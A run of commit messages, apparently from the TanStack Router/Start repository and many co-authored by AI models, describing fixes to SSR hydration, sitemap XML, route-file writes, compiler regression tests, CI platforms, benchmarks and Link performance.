validator() is the only way to declare a validator. Server functions now
store their validator under the key middleware reads.
The compiler test of diagnostic locations across line terminators now
checks the code frame of the destructuring diagnostic instead of the
removed warning.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(agents): do not test that a removed API is gone
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
The sitemap writer emitted image:* and news:* elements, but <urlset> only
declared the default sitemap namespace and xmlns:xhtml. xmlbuilder2
serialized those elements with xmlns="" and an undeclared prefix, so
sitemaps with images or news were not namespace-well-formed XML. Declare
xmlns:image and xmlns:news on <urlset>.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start-plugin-core): keep prerender credentials out of public pages.json
pages.json and sitemap.xml are now built from schema-validated public page
fields, so prerender headers and extra data returned by prerender.onSuccess
are stripped from the published files. Invalid sitemap metadata returned by
prerender.onSuccess now fails the build with an error naming the page and
the offending field.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* docs(changeset): describe previous onSuccess sitemap behavior accurately
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-generator): don't scaffold over a route file mid in-place save
An in-place save truncates the file and then writes it. If the generator
reads the route file in between, it sees empty content and scaffolds a
template. Its mtime guard before renaming the template into place does not
catch the completed save, because the truncation and the write usually share
one mtime tick on Linux, so the user's content was replaced by the template.
Route file writes now also confirm the file still has the content the
generator read before replacing it.
This was the main cause of flaky tanstack-react-start-e2e-hmr runs, where SSR
rendered `Hello "/route"!` after the test restored a route file.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-generator): check for concurrent saves right before the rename
safeFileWrite compared the target's mtime and content before preparing the
temporary file's mode and owner, so a save completing during those steps was
still replaced. Run the check last, immediately before the rename.
The regression test now also completes the save during the temporary file
stat, and keeps the generator's tmpDir inside the test directory so the
rename never crosses filesystems (EXDEV on CI).
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(router-generator): match generator paths on Windows in concurrent save test
The generator reads route files through forward-slash paths, also on Windows,
so compare resolved paths when injecting the concurrent save.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(router-generator): only read files whose content is compared
The final concurrent-change check before the rename read the whole target
file even for the route tree, whose content is never compared. Stat it
instead, as before, and read only route files.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Rolldown module ids use forward slashes on Windows, so looking up the
native entry path never matched and the test waited until it timed out.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* ci: test the compilers on Windows, macOS, Linux arm64 and musl
The main PR workflow only runs on Linux x64 (glibc). The compilers load a
native Yuku binary per platform and handle platform-specific paths, so run
their unit tests and Vite and Rsbuild production builds of the React Start
e2e app on the other platforms we ship to. Runs on PRs touching the
compiler packages or the lockfile, weekly, and on demand.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* ci: run all compiler platforms in one matrix job and keep LF on Windows
Merge the musl job into the matrix through a matrix container, so the
install, test and build steps exist once. Disable autocrlf before checkout:
Windows runners otherwise check out the LF snapshot files as CRLF and every
file snapshot mismatches.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* ci: check out LF on Windows compiler runs
With `* text=auto`, disabling core.autocrlf alone still converts text files
to the native (CRLF) eol on Windows, so also set core.eol=lf.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test: format compiler output before comparing file snapshots
The router-plugin and start-plugin-core compiler snapshots record the
layout choices of the code generator (object wrapping, blank lines,
parentheses around JSX) along with the emitted program, so swapping the
code generator rewrites most snapshot files even when the output is the
same.
Format the output with Prettier before comparing it: fixed options,
`objectWrap: 'collapse'`, and blank lines outside template literals
removed. Comments are kept. Output that does not parse is compared as is.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test: regenerate compiler snapshots with formatted output
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test: format inline compiler snapshots before comparing them
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(start): preserve dev SSR CSS order
fixes#7794
* add e2e tests for solid and vue, handle vue style urls
* test(start): cover bundled dev styles and SSR reload lifecycle
* fix(start): use completed bundled graph for dev SSR styles
* fix(start): preserve import reachability across bundled dev variants
* test(start): cover layered inline CSS without build observers
* test(start): wait for bundled HMR route registration
* test(start): await HMR readiness in both Vite modes
* test(start): trace initial bundled HMR update in CI
* test(start): trace native bundled HMR watcher in CI
* test(start): inspect initial native watch registrations
* fix(start): support the latest bundled dev toolchain
This reverts commit ff9f753c09.
#8643 introduced a React hydration mismatch for `ssr: false` and
`ssr: 'data-only'` routes without a pending component: the client load can
commit before React hydrates the route's Suspense boundary, which then
hydrates the route component against the server's pending UI. Revert while a
proper fix is worked on.
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix: keep server-rendered pending UI of no-SSR routes through hydration
Fixes#8640. The server rendered a no-SSR match's pending UI in a
ClientOnly fallback, while the hydrating client renders the presented
pending match through MatchInner. After hydration the switch replaced
(React: hid and duplicated) the server node. Render the server pending UI
through the same MatchInner pending path and drop the ClientOnly wrapper.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test: cover terminal no-SSR boundaries through hydration
Add error, notFound and URL not-found cases for `ssr: 'data-only'` and
`ssr: false` boundaries (plus a terminal child below a data-only boundary)
in React, Solid and Vue. Each case asserts the server payload, that the
server skeleton is the only one and is held for `pendingMinMs`, and that no
hydration mismatch is reported. The hold check catches mismatches that React
and Solid error boundaries replace silently.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-core): avoid null bytes in dehydrated SSR match ids
dehydrateSsrMatchId replaced "/" with U+0000 so dehydrated ids would not
look like crawlable URLs (#6739). U+0000 is forbidden in the HTML input
stream though, so the inlined hydration payload tripped a
control-character-in-input-stream parse error and failed markup
validation. Encode with U+FFFD instead, which is valid in HTML and which
hydrateSsrMatchId already decodes back to "/".
* test(router-core): cover legacy null-byte decode in hydrateSsrMatchId
The codec keeps the U+0000 -> "/" decode branch so SSR payloads from a deploy before the U+FFFD switch still hydrate. That branch was the one path the suite didn't exercise, so add a test for it.
* fix(router-core): compare SSR match ids in encoded form
Encode slashes as U+FFFD with no further escaping, and have the client
encode its own match id instead of decoding the server's. Payload and
client always ship from the same build, so the legacy null-byte decode
and the reversible escape scheme are no longer needed.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(router-core): keep dehydrated SSR match ids one-byte
A U+FFFD delimiter made V8 widen the encoded ids, and every HTML string
concatenated with them, to two-byte strings, slowing Solid SSR
serialization by ~5%. Use ASCII `|` instead.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(router-core): delimit dehydrated SSR match ids with '#'
`|` is a valid static route character, so `/a/b` and `/a|b` encoded to
the same id. A decoded pathname keeps `%23` encoded and params encode
`#`, so a matched id cannot get a '#' from the URL. Seroval emits it
unescaped and it keeps the HTML one-byte.
Tighten the regression test to reject any non-whitespace control
character and any char above U+00FF in the inlined hydration HTML.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Flo <me@florianpellet.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* test(router-plugin, start-plugin-core): cover compiler output regressions
Add engine-agnostic regression tests for compiler output found while
reviewing the compiler migration (#8504). They only use the public
compiler entry points and validate emitted code with Vite's Oxc
transform/parser (TypeScript erased, parsed as a JS module with semantic
checks), so they run unchanged against any compiler implementation.
router-plugin:
- every emitted code-splitter module stays valid for re-exported imports,
partially exported destructuring and anonymous default exports
- self-/mutually-referencing side effects stay in the reference module
- namespace imports used by `import X = ns.X` and decorator placement
before `export` are preserved
- React Refresh hoisting keeps closures in scope, hoists the root route
component, and declares hoisted components before use
start-plugin-core:
- self-referencing user code survives client and server compilation
- nested and switch-case createServerFn keep provider modules valid
- aliased createClientOnlyFn re-exports are transformed in SSR
- Hydrate split modules: parent/fallback-only bindings are removed, text
children render decoded entities, `'use client'` stays first
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test: require hoisting and declared bindings in compiler regression tests
- The React Refresh ordering test now requires the inline pendingComponent
to be hoisted instead of passing when it stays inline, since main hoists it
and React Refresh needs a top-level binding.
- The self-referencing side-effect tests also assert that each binding the
callbacks use is still declared. The module validator does not report
references to undeclared names. The Start variant now validates the module.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin, start-plugin-core, router-generator, react-start-rsc): cover compiler edge cases
Engine-agnostic tests through public compiler entry points, passing on
main. They cover:
- code-splitter module state shared with exported functions, `var`
declared inside top-level statements, long method chains, duplicate
split keys, split options that read `Route`, route options declared
in a variable, re-exports, type-only syntax, private class members,
and namespace JSX tags
- the code-splitter plugin pipeline: analysis cache keys and eviction,
plugin-level `splitBehavior`, config `deleteNodes`, and the
non-split HMR plugin for Solid and Vue
- the route generator transform with parenthesized call parts, and
byte-exact edits after a BOM or astral characters
- the Start compiler: dev-mode server function ids, provider
directives, handler name versioning, provider export removal,
cross-module factory resolution, invalidation, and diagnostic
locations
- Hydrate children with block-bodied callbacks, self-closing
boundaries, captures, split attributes, and the virtual module cache
- import-protection exports, member-chain boundaries, source-mapped
locations, and executed denied-import rewrites
- RSC CSS transform import shapes and argument unwrapping
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(start-plugin-core): port Next.js server actions fixtures to createServerFn
Translate the scenarios of Next.js's server-actions transform fixtures
(crates/next-custom-transforms/tests/fixture/server-actions) to the
createServerFn client, SSR caller and provider outputs: captured module
bindings, shadowing, destructuring, handler forms, directives, export
forms, non-ASCII names and client/server-only code side by side.
The destructuring default and computed-key cases pass on main and fail
with the Yuku compiler (#8504), which keeps every sibling of a live
destructuring and with it a server-only import in the client output.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin): port Next.js SSG and React Router route-chunk splitting scenarios
Translate edge cases from Next.js's SSG transform fixtures and React Router's
route-chunks / remove-exports tests into code-splitter coverage: imports used
in JSX positions, shadowed names, transitive pruning of every declaration
kind, destructurings and multi-declarator statements split across groups,
mutually recursive shared helpers, nested-scope dependency analysis, helpers
shared with the loader, top-level calls on imports and split chunk source
maps. All scenarios already behave correctly; these tests pin them.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(start-plugin-core, router-plugin): port Qwik optimizer extraction edge cases
Port capture and extraction scenarios from the Qwik optimizer test suite
(QwikDev/qwik, packages/optimizer/core/src/test.rs) to the Hydrate split
transform, server function extraction and route code splitting. All of
them pass with both the Babel and the Yuku compiler.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin, start-plugin-core): cover real-world compiler shapes
Adds regression coverage derived from a differential audit of in-repo
examples/e2e apps and open-source TanStack Router/Start apps:
- split chunks import exported route-file bindings instead of copying them
- declarations and imports only referenced from TypeScript types survive
(classic JSX runtime React imports, side-effecting initializers)
- TypeScript type and value exports sharing a name compile
- file-level JSX pragmas stay in split chunks and Start compiler output
- ambient declarations are not imported from the shared module
- chained comparisons in plain JavaScript route files keep their operands
- real-world route file names go through the code-splitter plugin pipeline
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin, start-plugin-core): port React Compiler fixture shapes
Wrap component bodies adapted from the React Compiler fixture corpus into
route files and Start modules:
- split route components and Hydrate chunks render like the original for
labeled breaks, shadowing catch params and function names, destructuring
defaults, getters/computed keys, hoisted functions, optional call chains,
tagged templates and classes with static blocks/private fields
- server function handlers that read a server-only import through unusual
syntax positions keep it off the client
- unused locals with side-effectful initializers (hook calls) in shared route
modules and Hydrate chunks still run; these fail on the Yuku migration,
which removes them
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test: cover exported route variables in split chunks and JSX pragma forms
- Split chunks import exported route-file variables (contexts, stores and
caches built from private bindings) from the route module instead of
redeclaring them.
- The Start compiler keeps JSX pragmas in the Hydrate chunk, line-comment and
license-header forms, classic `@jsx` with `@jsxFrag`, and after a
`'use client'` directive.
Both pass on main and on #8504 after its fixes.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(start-plugin-core): port SolidStart directive and Waku allowServer edge cases
Translate SolidStart's "use server" directive compiler tests and helpers
(type-only import specifiers, rejected server fn positions, captured
this/arguments/super/private members, id stability and opacity, Hydrate
closure captures) and Waku's allowServer transform tests (dependency
pruning, aliasing, default exports, untouched look-alikes, zero-argument
factories, trailing comments) into Start compiler coverage for React and
Solid.
The import-alias namespace test passes on main and fails on the Yuku
compiler (#8504), which deletes the aliased namespace.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin): port React Refresh and solid-refresh scenarios to route HMR
Covers which route component shapes React Refresh registers after the HMR
transforms (checked with Vite's Oxc React Refresh transform), hook
signatures, @refresh reset, generated-name collisions, and the module shape
solid-refresh expects (registrable components, @refresh reload/skip,
top-level createContext).
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin, start-plugin-core, react-start-rsc): port @vitejs/plugin-rsc transform edge cases
Port scope, hoisting, export-shape, export * and directive scenarios from
@vitejs/plugin-rsc's transform tests (vitejs/vite-plugin-react, MIT) to the
Start compiler (server fn providers and callers, env-only functions, Hydrate
chunks), the route code splitter and the RSC CSS transforms.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test: port babel-dead-code-elimination and Turbopack tree-shaker scenarios
Port dead-code-elimination scenarios (pcattori/babel-dead-code-elimination)
and Turbopack tree-shaker analyzer fixtures (vercel/next.js) to the code
splitter and the Start compiler: import specifier pruning, initially unused
declarations and cycles, SCC removal, write-only bindings, nested patterns
with rests and defaults, empty parameter patterns, var declarations nested
in top-level statements, import attributes, typeof references, enum IIFEs,
shared mutable state and statement order in the provider.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin): share compiler regression test helpers
The regression suites each re-implemented the same plumbing. Move it into
`tests/regression-helpers.ts`:
- `compileRouteModules` (reference, virtual chunks and shared module, with
optional route HMR, Solid target or file name) and `expectValidModules`,
previously copied into 12 files
- `buildAndRun`, the Vite build-and-run harness copied into 5 files
- `createCodeSplitterTransforms` and `transformWithRouteHmrPlugin`, which
drive the bundler plugins the way a bundler does
- `evaluateModule`, the JSX-to-text module evaluator copied into 3 files
No test is added, removed or renamed.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(start-plugin-core): share compiler regression test helpers
The regression suites each built their own `StartCompiler`, output compiler,
Start runtime stubs and `<Hydrate>` chunk loader. Move them into
`tests/regression-helpers.ts`:
- `createStartCompiler`, `compileFor`, `compileCode` and `compileAll` (client,
SSR caller and provider outputs, validated), previously built in 10 files
- `importModule`, `callProvider`, `importSources` and `settle`, with one
minimal Start runtime instead of four variants
- `compileHydrate`, `getChunkParams`, `getChunkIds`, `loadChunk`,
`evaluateModule` and `renderChunk`, previously copied into 6 files
No test is added, removed or renamed.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(react-start-rsc): share the RSC CSS transform compile helper
Both RSC CSS transform regression suites defined the same compile helper
and a copy of the module validator; move the helper into
`tests/regression-helpers.ts` and reuse start-plugin-core's validator.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin): merge duplicated compiler regression tests
Remove tests whose input shape and assertions another suite already covers,
folding any unique assertion into the surviving test:
- code-splitter-real-world: the two "split chunks share exported route-file
bindings" compile checks duplicate code-splitter-exported-bindings (the
built-app check stays); "file-level JSX pragmas" duplicates the
@jsxImportSource cases of code-splitter-jsx-pragmas, which now also check
that Oxc selects the pragma's JSX runtime for every split chunk.
- ported-react-compiler-fixtures: "a catch parameter shadowing a module
binding" duplicates the plugin-rsc "next to a catch parameter of the same
name" case, which now names both sources.
- ported-nextjs-ssg: "moves one declarator of a multi-declarator statement
into the split chunk" duplicates the React Router "plain declarators" case,
which now also asserts where each declarator is declared.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(start-plugin-core): merge duplicated compiler regression tests
- The SolidStart "local types used by split children are not passed as
props" Hydrate test duplicates the Qwik "local types used by the children
are not captured as values" test; the Qwik test now also covers JSX type
arguments and asserts that no type is passed as a prop.
- start-compiler-edge-cases "does not duplicate a directive the module
already has" becomes a case of the plugin-rsc "provider module directives"
table, which also checks the prologue and module validity.
- The single test of aliased-env-only-fns.test.ts moves to the
"cross-module factory resolution" tests of start-compiler-edge-cases, where
its output is also validated.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-generator): merge the parenthesized route call transform tests
transform-parenthesized.test.ts duplicated the `transform` harness of
transform-preservation.test.ts; move its tests there.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin): keep covering configs without the router plugin
Before the code-splitter transforms were shared, the real-world file-name
test resolved a Vite config that did not list the router plugin, which
covers the early return of the plugin-order check. Let the shared helper
take the config's plugins and keep that case.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-plugin): regroup compiler regression tests by behaviour
Dissolve the ported-* and code-splitter edge-case files into behaviour
files (dead code, imports/exports, module state, pragmas, route options,
scope), drop duplicate cases and vacuous assertions, and replace the five
real Vite builds with one.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(start-plugin-core): regroup compiler regression tests by behaviour
Dissolve the ported-* and start-compiler edge-case files into behaviour
files (server fn caller dead code, declaration sites, exports and
directives, handler scope, Hydrate captures, factories, user code kept),
drop duplicate cases and vacuous assertions, and compile through a single
harness. The RSC external-transform scope cases move into compiler.test.ts,
replacing react-start-rsc's ported-vite-plugin-rsc.test.tsx.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(router-generator): move transform edge cases into transform.test.ts
Merge the five parenthesized-call cases into one test next to the existing
outer-parens test and fold the remaining preservation cases into
transform.test.ts, reusing its makeNode helper.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(react-start-rsc): move RSC CSS transform edge cases into rscCssTransform.test.tsx
Keep the cases with unique coverage (the @tanstack/react-start-rsc import
source, transparent JSX wrappers, non-JSX arguments) next to the existing
tests and drop the separate helper, which imported start-plugin-core tests.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test: keep regression tests valid once known compiler bugs are fixed
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test: share the build and React Refresh helpers
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* test(start-plugin-core): link Hydrate chunks to their parent however a fix imports it
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
React's scheduler ends a time slice after 5 ms of performance.now(). The
hydration harness evaluates the client bundle in a jsdom window, whose
performance.now() is the real wall clock. Under CodSpeed's CPU simulation
the wall clock advances by a runner-dependent amount per instruction, so
identical samples yielded a varying number of times, each yield adding a
scheduler task and event-loop turn (CodSpeed sysCount alternated between
~3.6k and ~5.4k for the same code).
Freeze the window's performance.now() so React yields only to paint after
commits. Date.now(), used by the Router for match timestamps, is unchanged.
The hydration test now asserts every sample uses the same number of
scheduler tasks.
Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
CodSpeed's --no-opt only disables TurboFan on Node 24, so Maglev still
compiles. Under --predictable those compiles run synchronously inside the
triggering request, and the forced GC before the measured call can discard
optimized code so recompiles land in the measured window. Maglev's malloc'd
Zone scratch (32 KiB segments) then dominates allocation metrics and varies
with per-process feedback state.
The bimodal +32,792 B / +1 alloc in `mem server error-paths unmatched
(react)` is one Maglev Zone segment allocated while compiling React Fizz's
per-request stream `write` closure; ~97% of that bench's allocation was
compiler scratch. Retained-object measurements are unaffected (Zone memory
is freed after each compile).
Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
The workflow already declares a workflow_dispatch trigger, but no job
accepted that event, so manual runs on main were always skipped. When a
push run is lost (e.g. cancelled waiting for a runner), main's tip gets
no history entry and PR comments silently fall back to an older baseline.
Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
* perf(solid-router): let mergeProps memoize the Link's own props
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
* test(solid-router): pin how Link element props, state props and handlers reach the anchor
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
* ci: retrigger benchmarks against refreshed main baselines
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
* test(benchmarks): add departing and retained Link navigation cases
Add lane-* cases to the React Link performance harness, with per-navigation
sync, onLoad and total timings in the paired runner.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
* perf(react-router): share one location subscription per route's Links
Links subscribe to a scope owned by their match context instead of each
subscribing to the location store. A scope skips a location publication
whose navigation leaves its route, so Links that are about to unmount do
no work. Clicks and preloads resolve from the location a Link displays,
and mask builds use the same source location as their destination.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
* test(benchmarks): add Solid departing and retained Link navigation harness
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): hold the location of Links in a departing match
Each Match owns one memo that keeps its Links' source location when the
publishing navigation leaves the route, so those Links do no work.
Clicks and preloads resolve from that source.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(react-router): trim the Link scope's bundle cost
Key each router's link scopes by route id instead of carrying them in a
`[routeId, linkScope]` match context tuple. `matchContext` provides the
route id again, so `Match`, `Outlet`, `useMatch` and `useParentMatches` /
`useChildMatches` match main, and the outside-every-match holder becomes
the `undefined` key of the same registry. A scope without links still
releases its location, so keeping one per route id holds none.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(benchmarks): add Vue departing and retained Link navigation harness
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(vue-router): hold the location of Links in a departing match
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(benchmarks): add a real-browser Link INP harness
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): gate departing Links in their own location memo
Drop the per-Match memo and the third match-context slot. Each Link reads
its route id once at setup and, while the publishing navigation leaves
that route, keeps its previous location in the memo it already owns.
Links mounting in an already-departing route read the pending location.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(benchmarks): add Vue to the real-browser Link INP harness
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(solid-router): build Link navigations from the live location state
The Link location memo deduplicated by href, so a same-href navigation that only changed history state left clicks and preloads building from the previous location's state.
Compare by identity instead; downstream href and active memos still compare by value, so unchanged Links do not touch the DOM.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(react-router): drop the Link scope's reentrant publication re-check
A listener that publishes a new location while a route's Links derive is not a
supported use case, so the scope no longer re-reads the store after notifying.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(react-router, router-core): follow-up Link improvements (#8607)
* perf(router-core): cache location-independent masked destinations
A mask that reads the current location already marks the result as
source-dependent through the shared usedCurrent flag, and route masks
belong to the route tree and options whose updates replace the cache.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(react-router): hydrate hash-sensitive Links through the scope's server snapshot
The Link's location subscription already has a server-snapshot slot.
Reporting an active hash-sensitive Link as inactive there replaces the
per-Link useHydrated subscription with identical hydration output.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(react-router): follow href and reloadDocument changes of a mounted Link
The destination memo did not depend on href, so a Link whose href alone
changed kept displaying, preloading and navigating to the old target.
Clicks also navigated with the memo's copy of the options, so a changed
reloadDocument only applied once another destination prop changed.
Navigate with the current options and the displayed source location.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(react-router): hold a Link's intent preload timer on its own ref
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(history): avoid copying navigation arguments when checking blockers
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(benchmarks): opt-in intent preloading for the Link lane cases
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* chore: changeset
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router, vue-router): follow-up Link improvements (#8609)
* test(benchmarks): measure Solid and Vue Link lanes with intent preloading
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): reuse a Link-owned destination so fixed Links hit the location cache
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): pass navigation controls through the Link-owned options
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(solid-router): cover Link clicks after a state-only navigation
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): read Link options directly with a single splitProps
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): keep the Link preload timer in a closure
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): let the Link observer read the preload mode directly
The internal useIntersectionObserver no longer returns an unused accessor and
takes the preload mode instead of two predicates (its unit test is updated).
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): create the Link hydration signal only for SSR routers
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): let element insertion track Link children without a memo
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(solid-router): call a Link's ref once per element
The ref no longer comes from the props memo, so href/active changes do not
re-run the element's ref effect. Drops the mergeRefs import.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): derive a Link's href and active state in one computation
The destination build, href, external/blocked classification and active state
share one memo whose unchanged result keeps its identity, so a navigation that
leaves a Link as it was notifies nothing downstream. Presentation props only
rerun the props memo. The server derives the same values once, without memos.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* test(benchmarks): use the t quantile for the lane comparison's round count
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(solid-router): split a Link's props once
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(vue-router): reuse a Link-owned destination so fixed Links hit the location cache
Navigation controls travel on the same object, so clicks no longer re-list them.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(vue-router): pick a Link's element props with one shared key set
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(vue-router): derive a Link's href and active state in one computed
The preload effects read a location-independent mode, so a navigation no
longer queues them for every Link. A Link whose destination updater navigates
while it derives derives again for the newer location.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(vue-router): keep the Link preload timer in a closure
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(vue-router): drop the unused IntersectionObserver ref per Link
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(vue-router): return plain empty Link props without a router
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(vue-router): render server Links without reactive wrappers
The server returns shallow refs and reads Link props directly, without the
attrs snapshot, its update hook, the props computed or a template ref.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* perf(vue-router): drop the deferred re-derivation for updaters that navigate
A search updater that navigates while a Link derives is not a supported use
case; remove the retry that existed only for it, and its test.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* chore: add changeset for the Solid and Vue Link follow-up
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
* chore(benchmarks): remove the real-browser Link INP harness
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* fix(solid-router, vue-router): rebuild masks whose options are stores
Router core now reuses masked locations built from the same options object
when the mask does not read the current location. Solid and Vue Links keep
one destination object while their navigation options keep their identity,
and only a store/reactive option value forced a fresh object per location.
A plain mask object holding a store (e.g. `mask={{ to, params: store }}`)
therefore kept the mask built from the store's first value. The mask's own
values are destination options too, so check them for stores as well.
React has no in-place reactive values: a changed mask prop changes identity
and rebuilds. Add the equivalent React coverage for prop and inherited masks.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* chore(benchmarks): remove the ad-hoc Link lane harnesses
The link-churn scenario covers this work in CodSpeed. Removes the Solid and
Vue lane harnesses and restores link-performance to its main content.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* style: name tuple indexes in Link code
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* refactor(react-router): stop treating _fromLocation as a Link prop
`_fromLocation` is an internal router option, not a Link prop: the Link
always builds from its own scope's location. It stays among the stripped
router option keys so code that still passes it does not leak an attribute
to the element.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
